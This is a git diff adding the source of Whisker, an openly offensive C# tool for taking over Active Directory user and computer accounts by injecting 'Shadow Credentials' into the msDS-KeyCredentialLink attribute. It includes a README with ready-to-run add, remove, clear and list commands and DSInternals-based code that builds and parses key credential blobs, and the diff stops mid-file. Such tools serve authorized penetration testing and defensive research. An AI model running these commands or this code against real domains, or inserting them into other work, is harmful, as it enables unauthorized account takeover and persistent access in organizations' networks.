z_|pUBy!8C9zsbx`;5#^uv%^OHroS=fynL}S=JbaDbRqsV#_X37tV$Rscrk# zZRdRCHxJDJmkV<1zPLBg{o+@)c0c^)p>3mG^G5c7_lx-AHYPm_1$+kAN8r5fLi#ma z*&epyDj!^zA>WH{De9a8vIXD!k>2McTG@gv+FyMT0!H&De-^^4%c8>3#$=B}wximT zLbb`Ch}?jRGyn3T$YUUDR6Fs>or`=273Qi6f9YuCcOY$cpFXH+XFDCK!${2=U*${( zBtI9ubt{+MJGEHC`qPD&mDi@B3KEO`l}%@ds}ocVO)r>N37 zQI)^t$i&3N+VvO*sHOB83Y}OjP_a$TU zGx}I68^fFU29j1Rhxb?jBx6Gfyy0bJD5l;G)vPrYQD@bw9bM$9bP;(NFUX8R*xvoI z{sdmW(ATV;hhL|wmo{*FEPYBf)wZ!o{Wd+;FK-KJ*5-~QO~ml4eY_o}7q6WejAi8w zH_ckDdg+0~527d3Ya^Sr*?6_VV4pP8j~B&ApDgtffn;ASBk$sD)@F@i5X;)HW{C|u zueEH}nr)&(c$-5kB`=K09Z`yo?MtYx^dysMh>ur(Hf!}5f>_+)Y}2nmg@xCgd!AO# z@9ObrH{tgp?w%_ z>4fvzIlCNVE*fao;;#2LvcmD=#u(n)X1}>HmT+E>iCdWNPlY>!^kq*M5C=IOE9Bj& zeJ(oO6m8AmeM(7rahAj+$z*dM-W$fBx93o7wWR(p`2SM_I{pHR4Cg5CjXQ}(i>2X^ zT>jSdI6TvhK?0-b_l+xJE{Nk0quqWAv6(Je0jG41mbT&8cn{!O+{@ty`8MH>!5&;U z(mJI1^9}E>Pcwh@WsKq}f1nRJ-g+wxm#I%1E*iMq2Mr~dH+w+q0a4mGv>ojbnwkV7l#Gt*VZ z_j1y5XGZ-f&nCe`e|}Io?eX1Hys8J%^4%Zj9x2ln|D>G%X1cpx@v%G8^W)|V@?Rd` zQnbUGaX&t}5mNDel(GDs+x3W8qz@c-41kvJwD3L2BO)O`=$PZi@R>J;PHCL)(yE{4 z?9Xe3Xtl_)$>x!QOw8HQf%8wo;Gl@}cz8jRt+E&NW^RWq?2oylG~!|%*oH4}d* zplR7mEGT$ea)RI5yK3fH1Pids{2g( literal 0 HcmV?d00001 diff --git a/repos/Whisker/.gitignore b/repos/Whisker/.gitignore new file mode 100644 index 000000000..dfcfd56f4 --- /dev/null +++ b/repos/Whisker/.gitignore @@ -0,0 +1,350 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. +## +## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore + +# User-specific files +*.rsuser +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Mono auto generated files +mono_crash.* + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +[Aa][Rr][Mm]/ +[Aa][Rr][Mm]64/ +bld/ +[Bb]in/ +[Oo]bj/ +[Ll]og/ +[Ll]ogs/ + +# Visual Studio 2015/2017 cache/options directory +.vs/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ + +# Visual Studio 2017 auto generated files +Generated\ Files/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUnit +*.VisualState.xml +TestResult.xml +nunit-*.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# Benchmark Results +BenchmarkDotNet.Artifacts/ + +# .NET Core +project.lock.json +project.fragment.lock.json +artifacts/ + +# StyleCop +StyleCopReport.xml + +# Files built by Visual Studio +*_i.c +*_p.c +*_h.h +*.ilk +*.meta +*.obj +*.iobj +*.pch +*.pdb +*.ipdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*_wpftmp.csproj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# Visual Studio Trace Files +*.e2e + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# AxoCover is a Code Coverage Tool +.axoCover/* +!.axoCover/settings.json + +# Visual Studio code coverage results +*.coverage +*.coveragexml + +# NCrunch +_NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# Note: Comment the next line if you want to checkin your web deploy settings, +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# Microsoft Azure Web App publish settings. Comment the next line if you want to +# checkin your Azure Web App publish settings, but sensitive information contained +# in these scripts will be unencrypted +PublishScripts/ + +# NuGet Packages +*.nupkg +# NuGet Symbol Packages +*.snupkg +# The packages folder can be ignored because of Package Restore +**/[Pp]ackages/* +# except build/, which is used as an MSBuild target. +!**/[Pp]ackages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/[Pp]ackages/repositories.config +# NuGet v3's project.json files produces more ignorable files +*.nuget.props +*.nuget.targets + +# Microsoft Azure Build Output +csx/ +*.build.csdef + +# Microsoft Azure Emulator +ecf/ +rcf/ + +# Windows Store app package directories and files +AppPackages/ +BundleArtifacts/ +Package.StoreAssociation.xml +_pkginfo.txt +*.appx +*.appxbundle +*.appxupload + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!?*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.jfm +*.pfx +*.publishsettings +orleans.codegen.cs + +# Including strong name files can present a security risk +# (https://github.com/github/gitignore/pull/2483#issue-259490424) +#*.snk + +# Since there are multiple workflows, uncomment next line to ignore bower_components +# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) +#bower_components/ + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm +ServiceFabricBackup/ +*.rptproj.bak + +# SQL Server files +*.mdf +*.ldf +*.ndf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings +*.rptproj.rsuser +*- [Bb]ackup.rdl +*- [Bb]ackup ([0-9]).rdl +*- [Bb]ackup ([0-9][0-9]).rdl + +# Microsoft Fakes +FakesAssemblies/ + +# GhostDoc plugin setting file +*.GhostDoc.xml + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat +node_modules/ + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio 6 auto-generated workspace file (contains which files were open etc.) +*.vbw + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +# Paket dependency manager +.paket/paket.exe +paket-files/ + +# FAKE - F# Make +.fake/ + +# CodeRush personal settings +.cr/personal + +# Python Tools for Visual Studio (PTVS) +__pycache__/ +*.pyc + +# Cake - Uncomment if you are using it +# tools/** +# !tools/packages.config + +# Tabs Studio +*.tss + +# Telerik's JustMock configuration file +*.jmconfig + +# BizTalk build output +*.btp.cs +*.btm.cs +*.odx.cs +*.xsd.cs + +# OpenCover UI analysis results +OpenCover/ + +# Azure Stream Analytics local run output +ASALocalRun/ + +# MSBuild Binary and Structured Log +*.binlog + +# NVidia Nsight GPU debugger configuration file +*.nvuser + +# MFractors (Xamarin productivity tool) working folder +.mfractor/ + +# Local History for Visual Studio +.localhistory/ + +# BeatPulse healthcheck temp database +healthchecksdb + +# Backup folder for Package Reference Convert tool in Visual Studio 2017 +MigrationBackup/ + +# Ionide (cross platform F# VS Code tools) working folder +.ionide/ diff --git a/repos/Whisker/LICENSE b/repos/Whisker/LICENSE new file mode 100644 index 000000000..60918e3bc --- /dev/null +++ b/repos/Whisker/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 Elad Shamir + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/repos/Whisker/README.md b/repos/Whisker/README.md new file mode 100644 index 000000000..afb46d303 --- /dev/null +++ b/repos/Whisker/README.md @@ -0,0 +1,69 @@ +# Whisker + +Whisker is a C# tool for taking over Active Directory user and computer accounts by manipulating their `msDS-KeyCredentialLink` attribute, effectively adding "Shadow Credentials" to the target account. + +This tool is based on code from [DSInternals](https://github.com/MichaelGrafnetter/DSInternals) by Michael Grafnetter ([@MGrafnetter](https://twitter.com/MGrafnetter)). + +For this attack to succeed, the environment must have a Domain Controller running at least Windows Server 2016, and the Domain Controller must have a server authentication certificate to allow for PKINIT Kerberos authentication. + +More details are available at the post [Shadow Credentials: Abusing Key Trust Account Mapping for Takeover](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). + +## Usage + +![](./assets/usage.png) + +### Add a new value to the msDS-KeyCredentialLink attribute of a target object: + + - `/target:`: Required. Set the target name. Computer objects should end with a '$' sign. + + - `/domain:`: Optional. Set the target Fully Qualified Domain Name (FQDN). If not provided, will try to resolve the FQDN of the current user. + + - `/dc:`: Optional. Set the target Domain Controller (DC). If not provided, will try to target the Primary Domain Controller (PDC). + + - `/path:`: Optional. Set the path to store the generated self-signed certificate for authentication. If not provided, the certificate will be printed as a Base64 blob. + + - `/password:`: Optional. Set the password for the stored self-signed certificate. If not provided, a random password will be generated. + +Example: `Whisker.exe add /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1` + + +### Remove a value from the msDS-KeyCredentialLink attribute of a target object: + + - `/target:`: Required. Set the target name. Computer objects should end with a '$' sign. + + - `/deviceID:`: Required. Set the DeviceID of the value to remove from the attribute `msDS-KeyCredentialLink` of the target object. Must be a valid GUID. + + - `/domain:`: Optional. Set the target Fully Qualified Domain Name (FQDN). If not provided, will try to resolve the FQDN of the current user. + + - `/dc:`: Optional. Set the target Domain Controller (DC). If not provided, will try to target the Primary Domain Controller (PDC). + +Example: `Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /deviceid:2de4643a-2e0b-438f-a99d-5cb058b3254b` + + +### Clear all the values of the the msDS-KeyCredentialLink attribute of a target object: + + - `/target:`: Required. Set the target name. Computer objects should end with a '$' sign. + + - `/domain:`: Optional. Set the target Fully Qualified Domain Name (FQDN). If not provided, will try to resolve the FQDN of the current user. + + - `/dc:`: Optional. Set the target Domain Controller (DC). If not provided, will try to target the Primary Domain Controller (PDC). + +Example: `Whisker.exe clear /target:computername$ /domain:constoso.local /dc:dc1.contoso.local` + +⚠️ *Warning: Clearing the msDS-KeyCredentialLink attribute of accounts configured for passwordless authentication will cause disruptions.* + + +### List all the values of the the msDS-KeyCredentialLink attribute of a target object: + + - `/target:`: Required. Set the target name. Computer objects should end with a '$' sign. + + - `/domain:`: Optional. Set the target Fully Qualified Domain Name (FQDN). If not provided, will try to resolve the FQDN of the current user. + + - `/dc:`: Optional. Set the target Domain Controller (DC). If not provided, will try to target the Primary Domain Controller (PDC). + +Example: `Whisker.exe list /target:computername$ /domain:constoso.local /dc:dc1.contoso.local` + + +## References + - https://github.com/MichaelGrafnetter/DSInternals + - https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab diff --git a/repos/Whisker/Whisker.sln b/repos/Whisker/Whisker.sln new file mode 100644 index 000000000..cf79bc6fb --- /dev/null +++ b/repos/Whisker/Whisker.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30907.101 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Whisker", "Whisker\Whisker.csproj", "{42750AC0-1BFF-4F25-8C9D-9AF144403BAD}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {42750AC0-1BFF-4F25-8C9D-9AF144403BAD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {42750AC0-1BFF-4F25-8C9D-9AF144403BAD}.Debug|Any CPU.Build.0 = Debug|Any CPU + {42750AC0-1BFF-4F25-8C9D-9AF144403BAD}.Release|Any CPU.ActiveCfg = Release|Any CPU + {42750AC0-1BFF-4F25-8C9D-9AF144403BAD}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {D3567132-571C-4133-BC74-CAAD16CD6CF9} + EndGlobalSection +EndGlobal diff --git a/repos/Whisker/Whisker/App.config b/repos/Whisker/Whisker/App.config new file mode 100644 index 000000000..6ff230085 --- /dev/null +++ b/repos/Whisker/Whisker/App.config @@ -0,0 +1,22 @@ + + + + + + + + + + + + + + + + + + + + + + diff --git a/repos/Whisker/Whisker/DSInternals.Common/Data/DNWithBinary.cs b/repos/Whisker/Whisker/DSInternals.Common/Data/DNWithBinary.cs new file mode 100644 index 000000000..a34c34870 --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Data/DNWithBinary.cs @@ -0,0 +1,62 @@ +namespace DSInternals.Common.Data +{ + using System; + using DSInternals.Common.Properties; + + /// + /// The DNWithBinary class represents the DN-Binary LDAP attribute syntax, which contains a binary value and a distinguished name (DN). + /// + public sealed class DNWithBinary + { + // String representation of DN-Binary data: B::: + private const string StringFormat = "B:{0}:{1}:{2}"; + private const string StringFormatPrefix = "B:"; + private const char StringFormatSeparator = ':'; + + public string DistinguishedName + { + get; + private set; + } + + public byte[] Binary + { + get; + private set; + } + + public DNWithBinary(string dn, byte[] binary) + { + Validator.AssertNotNullOrEmpty(dn, nameof(dn)); + Validator.AssertNotNull(binary, nameof(binary)); + + this.DistinguishedName = dn; + this.Binary = binary; + } + + public static DNWithBinary Parse(string dnWithBinary) + { + Validator.AssertNotNullOrEmpty(dnWithBinary, nameof(dnWithBinary)); + + bool hasCorrectPrefix = dnWithBinary.StartsWith(StringFormatPrefix); + int valueLeadingColonIndex = dnWithBinary.IndexOf(StringFormatSeparator, StringFormatPrefix.Length); + int valueTrailingColonIndex = dnWithBinary.IndexOf(StringFormatSeparator, valueLeadingColonIndex + 1); + bool has4Parts = valueLeadingColonIndex >= 3 && (valueLeadingColonIndex + 1) < valueTrailingColonIndex; + + if (!hasCorrectPrefix || !has4Parts) + { + // We do not need to perform a more thorough validation. + throw new ArgumentException(Resources.NotDNWithBinaryMessage, nameof(dnWithBinary)); + } + + string dn = dnWithBinary.Substring(valueTrailingColonIndex + 1); + byte[] binary = dnWithBinary.HexToBinary(valueLeadingColonIndex + 1, valueTrailingColonIndex - valueLeadingColonIndex - 1); + return new DNWithBinary(dn, binary); + } + + public override string ToString() + { + return String.Format(StringFormat, this.Binary.Length * 2, this.Binary.ToHex(true), this.DistinguishedName); + } + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/CustomKeyInformation.cs b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/CustomKeyInformation.cs new file mode 100644 index 000000000..94fd1f526 --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/CustomKeyInformation.cs @@ -0,0 +1,186 @@ +namespace DSInternals.Common.Data +{ + using System; + using System.IO; + + /// + /// Represents the CUSTOM_KEY_INFORMATION structure. + /// + /// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/701a55dc-d062-4032-a2da-dbdfc384c8cf + public class CustomKeyInformation + { + private const byte CurrentVersion = 1; + private const int ShortRepresentationSize = sizeof(byte) + sizeof(KeyFlags); // Version + KeyFlags + private const int ReservedSize = 10 * sizeof(byte); + + public byte Version + { + get; + private set; + } + + public KeyFlags Flags + { + get; + private set; + } + + public VolumeType? VolumeType + { + get; + private set; + } + + /// + /// Specifies whether the device associated with this credential supports notification. + /// + public bool? SupportsNotification + { + get; + private set; + } + + /// + /// Specifies the version of the File Encryption Key (FEK). + /// + public byte? FekKeyVersion + { + get; + private set; + } + + /// + /// Specifies the strength of the NGC key. + /// + public KeyStrength? Strength + { + get; + private set; + } + + /// + /// Reserved for future use. + /// + public byte[] Reserved + { + get; + private set; + } + + /// + /// Extended custom key information. + /// + public byte[] EncodedExtendedCKI + { + get; + private set; + } + + public CustomKeyInformation() : this(KeyFlags.None) + { + } + + public CustomKeyInformation(KeyFlags flags) + { + this.Version = CurrentVersion; + this.Flags = flags; + } + + public CustomKeyInformation(byte[] blob) + { + // Validate the input + Validator.AssertNotNull(blob, nameof(blob)); + Validator.AssertMinLength(blob, ShortRepresentationSize, nameof(blob)); + + using (var stream = new MemoryStream(blob, false)) + { + // An 8-bit unsigned integer that must be set to 1: + this.Version = (byte)stream.ReadByte(); + + // An 8-bit unsigned integer that specifies zero or more bit-flag values. + this.Flags = (KeyFlags)stream.ReadByte(); + + // Note: This structure has two possible representations. In the first representation, only the Version and Flags fields are present; in this case the structure has a total size of two bytes. In the second representation, all additional fields shown below are also present; in this case, the structure's total size is variable. Differentiating between the two representations must be inferred using only the total size. + if (stream.Position < stream.Length) + { + // An 8-bit unsigned integer that specifies one of the volume types. + this.VolumeType = (VolumeType)stream.ReadByte(); + } + + if(stream.Position < stream.Length) + { + // An 8-bit unsigned integer that specifies whether the device associated with this credential supports notification. + this.SupportsNotification = Convert.ToBoolean(stream.ReadByte()); + } + + if(stream.Position < stream.Length) + { + // An 8-bit unsigned integer that specifies the version of the File Encryption Key (FEK). This field must be set to 1. + this.FekKeyVersion = (byte)stream.ReadByte(); + } + + if (stream.Position < stream.Length) + { + // An 8-bit unsigned integer that specifies the strength of the NGC key. + this.Strength = (KeyStrength)stream.ReadByte(); + } + + if (stream.Position < stream.Length) + { + // 10 bytes reserved for future use. + // Note: With FIDO, Azure incorrectly puts here 9 bytes instead of 10. + int actualReservedSize = (int)Math.Min(ReservedSize, stream.Length - stream.Position); + this.Reserved = new byte[actualReservedSize]; + stream.Read(this.Reserved, 0, actualReservedSize); + } + + if(stream.Position < stream.Length) + { + // Extended custom key information. + this.EncodedExtendedCKI = stream.ReadToEnd(); + } + } + } + + public byte[] ToByteArray() + { + using(var stream = new MemoryStream()) + { + stream.WriteByte(this.Version); + stream.WriteByte((byte)this.Flags); + + if(this.VolumeType.HasValue) + { + stream.WriteByte((byte)this.VolumeType.Value); + } + + if (this.SupportsNotification.HasValue) + { + stream.WriteByte(Convert.ToByte(this.SupportsNotification.Value)); + } + + if(this.FekKeyVersion.HasValue) + { + stream.WriteByte(this.FekKeyVersion.Value); + } + + if (this.Strength.HasValue) + { + stream.WriteByte((byte)this.Strength.Value); + } + + if (this.Reserved != null) + { + stream.Write(this.Reserved, 0, Reserved.Length); + } + + if(this.EncodedExtendedCKI != null) + { + stream.Write(this.EncodedExtendedCKI, 0, this.EncodedExtendedCKI.Length); + } + + return stream.ToArray(); + } + } + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredential.cs b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredential.cs new file mode 100644 index 000000000..c4d01ef4d --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredential.cs @@ -0,0 +1,492 @@ +namespace DSInternals.Common.Data +{ + using System; + using System.IO; + using System.Security.Cryptography; + using System.Security.Cryptography.X509Certificates; + + /// + /// This class represents a single AD/AAD key credential. + /// + /// + /// In Active Directory, this structure is stored as the binary portion of the msDS-KeyCredentialLink DN-Binary attribute + /// in the KEYCREDENTIALLINK_BLOB format. + /// The Azure Active Directory Graph API represents this structure in JSON format. + /// + /// https://msdn.microsoft.com/en-us/library/mt220505.aspx + public class KeyCredential + { + /// + /// Minimum length of the structure. + /// + private const int MinLength = sizeof(uint); // Version + + /// + /// V0 structure alignment in bytes. + /// + private const ushort PackSize = 4; + + /// + /// Defines the version of the structure. + /// + public KeyCredentialVersion Version + { + get; + private set; + } + + /// + /// A SHA256 hash of the Value field of the RawKeyMaterial entry. + /// + /// + /// Version 1 keys had a guid in this field instead if a hash. + /// + public string Identifier + { + get; + private set; + } + + public bool IsWeak + { + get + { + var key = this.RSAPublicKey; + return key.HasValue && key.Value.IsWeakKey(); + } + } + + public KeyUsage Usage + { + get; + private set; + } + + public string LegacyUsage + { + get; + private set; + } + + public KeySource Source + { + get; + private set; + } + + /// + /// Key material of the credential. + /// + public byte[] RawKeyMaterial + { + get; + private set; + } + + public RSAParameters? RSAPublicKey + { + get + { + if(this.RawKeyMaterial == null) + { + return null; + } + + if(this.Usage == KeyUsage.NGC || this.Usage == KeyUsage.STK) + { + // The RSA public key can be stored in at least 3 different formats. + + if (this.RawKeyMaterial.IsBCryptRSAPublicKeyBlob()) + { + // This public key is in DER format. This is typically true for device/computer keys. + return this.RawKeyMaterial.ImportRSAPublicKeyBCrypt(); + } + else if(this.RawKeyMaterial.IsTPM20PublicKeyBlob()) + { + // This public key is encoded as PCP_KEY_BLOB_WIN8. This is typically true for device keys protected by TPM. + // The PCP_KEY_BLOB_WIN8 structure is not yet supported by DSInternals. + return null; + } + else if(this.RawKeyMaterial.IsDERPublicKeyBlob()) + { + // This public key is encoded as BCRYPT_RSAKEY_BLOB. This is typically true for user keys. + return this.RawKeyMaterial.ImportRSAPublicKeyDER(); + } + } + + // Other key usages probably do not contain any public keys. + return null; + } + } + + public string RSAModulus + { + get + { + var publicKey = this.RSAPublicKey; + return publicKey.HasValue ? Convert.ToBase64String(publicKey.Value.Modulus) : null; + } + } + + public CustomKeyInformation CustomKeyInfo + { + get; + private set; + } + + public Guid? DeviceId + { + get; + private set; + } + + /// + /// The approximate time this key was created. + /// + public DateTime CreationTime + { + get; + private set; + } + + /// + /// The approximate time this key was last used. + /// + public DateTime? LastLogonTime + { + get; + private set; + } + + /// + /// Distinguished name of the AD object (UPN in case of AAD objects) that holds this key credential. + /// + public string Owner + { + get; + // We need to update this property after JSON deserialization, so it is internal instead of private. + internal set; + } + + public KeyCredential(X509Certificate2 certificate, Guid? deviceId, string owner, DateTime? currentTime = null, bool isComputerKey = false) + { + Validator.AssertNotNull(certificate, nameof(certificate)); + + // Computer NGC keys are DER-encoded, while user NGC keys are encoded as BCRYPT_RSAKEY_BLOB. + byte[] publicKey = isComputerKey ? certificate.ExportRSAPublicKeyDER() : certificate.ExportRSAPublicKeyBCrypt(); + this.Initialize(publicKey, deviceId, owner, currentTime, isComputerKey); + } + + public KeyCredential(byte[] publicKey, Guid? deviceId, string owner, DateTime? currentTime = null, bool isComputerKey = false) + { + Validator.AssertNotNull(publicKey, nameof(publicKey)); + this.Initialize(publicKey, deviceId, owner, currentTime, isComputerKey); + } + + private void Initialize(byte[] publicKey, Guid? deviceId, string owner, DateTime? currentTime, bool isComputerKey) + { + // Prodess owner DN/UPN + Validator.AssertNotNullOrEmpty(owner, nameof(owner)); + this.Owner = owner; + + // Initialize the Key Credential based on requirements stated in MS-KPP Processing Details: + this.Version = KeyCredentialVersion.Version2; + this.Identifier = ComputeKeyIdentifier(publicKey, this.Version); + this.CreationTime = currentTime.HasValue ? currentTime.Value.ToUniversalTime() : DateTime.UtcNow; + this.RawKeyMaterial = publicKey; + this.Usage = KeyUsage.NGC; + this.Source = KeySource.AD; + this.DeviceId = deviceId; + + // Computer NGC keys have to meet some requirements to pass the validated write + // The CustomKeyInformation entry is not present. + // The KeyApproximateLastLogonTimeStamp entry is not present. + if (!isComputerKey) + { + this.LastLogonTime = this.CreationTime; + this.CustomKeyInfo = new CustomKeyInformation(KeyFlags.None); + } + } + + public KeyCredential(byte[] blob, string owner) + { + // Input validation + Validator.AssertNotNull(blob, nameof(blob)); + Validator.AssertMinLength(blob, MinLength, nameof(blob)); + Validator.AssertNotNullOrEmpty(owner, nameof(owner)); + + // Init + this.Owner = owner; + + // Parse binary input + using (var stream = new MemoryStream(blob, false)) + { + using (var reader = new BinaryReader(stream)) + { + this.Version = (KeyCredentialVersion) reader.ReadUInt32(); + + // Read all entries corresponding to the KEYCREDENTIALLINK_ENTRY structure: + do + { + // A 16-bit unsigned integer that specifies the length of the Value field. + ushort length = reader.ReadUInt16(); + + // An 8-bit unsigned integer that specifies the type of data that is stored in the Value field. + KeyCredentialEntryType entryType = (KeyCredentialEntryType) reader.ReadByte(); + + // A series of bytes whose size and meaning are defined by the Identifier field. + byte[] value = reader.ReadBytes(length); + + if(this.Version == KeyCredentialVersion.Version0) + { + // Data used to be aligned to 4B in this legacy format. + int paddingLength = (PackSize - length % PackSize) % PackSize; + reader.ReadBytes(paddingLength); + } + + // Now parse the value of the current entry based on its type: + switch (entryType) + { + case KeyCredentialEntryType.KeyID: + this.Identifier = ConvertFromBinaryIdentifier(value, this.Version); + break; + case KeyCredentialEntryType.KeyHash: + // We do not need to validate the integrity of the data by the hash + break; + case KeyCredentialEntryType.KeyMaterial: + this.RawKeyMaterial = value; + break; + case KeyCredentialEntryType.KeyUsage: + if(length == sizeof(byte)) + { + // This is apparently a V2 structure + this.Usage = (KeyUsage)value[0]; + } + else + { + // This is a legacy structure that contains a string-encoded key usage instead of enum. + this.LegacyUsage = System.Text.Encoding.UTF8.GetString(value); + } + break; + case KeyCredentialEntryType.KeySource: + this.Source = (KeySource)value[0]; + break; + case KeyCredentialEntryType.DeviceId: + this.DeviceId = new Guid(value); + break; + case KeyCredentialEntryType.CustomKeyInformation: + this.CustomKeyInfo = new CustomKeyInformation(value); + break; + case KeyCredentialEntryType.KeyApproximateLastLogonTimeStamp: + this.LastLogonTime = ConvertFromBinaryTime(value, this.Source, this.Version); + break; + case KeyCredentialEntryType.KeyCreationTime: + this.CreationTime = ConvertFromBinaryTime(value, this.Source, this.Version); + break; + default: + // Unknown entry type. We will just ignore it. + break; + } + } while (reader.BaseStream.Position != reader.BaseStream.Length); + } + } + } + + /// + /// This constructor is only used for JSON deserialization. + /// + private KeyCredential() + { + this.Source = KeySource.AzureAD; + this.Version = KeyCredentialVersion.Version2; + } + + public override string ToString() + { + return String.Format( + "Id: {0}, Source: {1}, Version: {2}, Usage: {3}, CreationTime: {4}", + this.Identifier, + this.Source, + this.Version, + this.Usage, + this.CreationTime); + } + + public byte[] ToByteArray() + { + // Note that we do not support the legacy V1 format. + + // Serialize properties 3-9 first, as property 2 must contain their hash: + byte[] binaryProperties; + using (var propertyStream = new MemoryStream()) + { + using (var propertyWriter = new BinaryWriter(propertyStream)) + { + // Key Material + propertyWriter.Write((ushort)this.RawKeyMaterial.Length); + propertyWriter.Write((byte)KeyCredentialEntryType.KeyMaterial); + propertyWriter.Write(this.RawKeyMaterial); + + // Key Usage + propertyWriter.Write((ushort)sizeof(KeyUsage)); + propertyWriter.Write((byte)KeyCredentialEntryType.KeyUsage); + propertyWriter.Write((byte)this.Usage); + + // Key Source + propertyWriter.Write((ushort)sizeof(KeySource)); + propertyWriter.Write((byte)KeyCredentialEntryType.KeySource); + propertyWriter.Write((byte)this.Source); + + // Device ID + if(this.DeviceId.HasValue) + { + byte[] binaryGuid = this.DeviceId.Value.ToByteArray(); + propertyWriter.Write((ushort)binaryGuid.Length); + propertyWriter.Write((byte)KeyCredentialEntryType.DeviceId); + propertyWriter.Write(binaryGuid); + } + + // Custom Key Information + if(this.CustomKeyInfo != null) + { + byte[] binaryKeyInfo = this.CustomKeyInfo.ToByteArray(); + propertyWriter.Write((ushort)binaryKeyInfo.Length); + propertyWriter.Write((byte)KeyCredentialEntryType.CustomKeyInformation); + propertyWriter.Write(binaryKeyInfo); + } + + // Last Logon Time + if(this.LastLogonTime.HasValue) + { + byte[] binaryLastLogonTime = ConvertToBinaryTime(this.LastLogonTime.Value, this.Source, this.Version); + 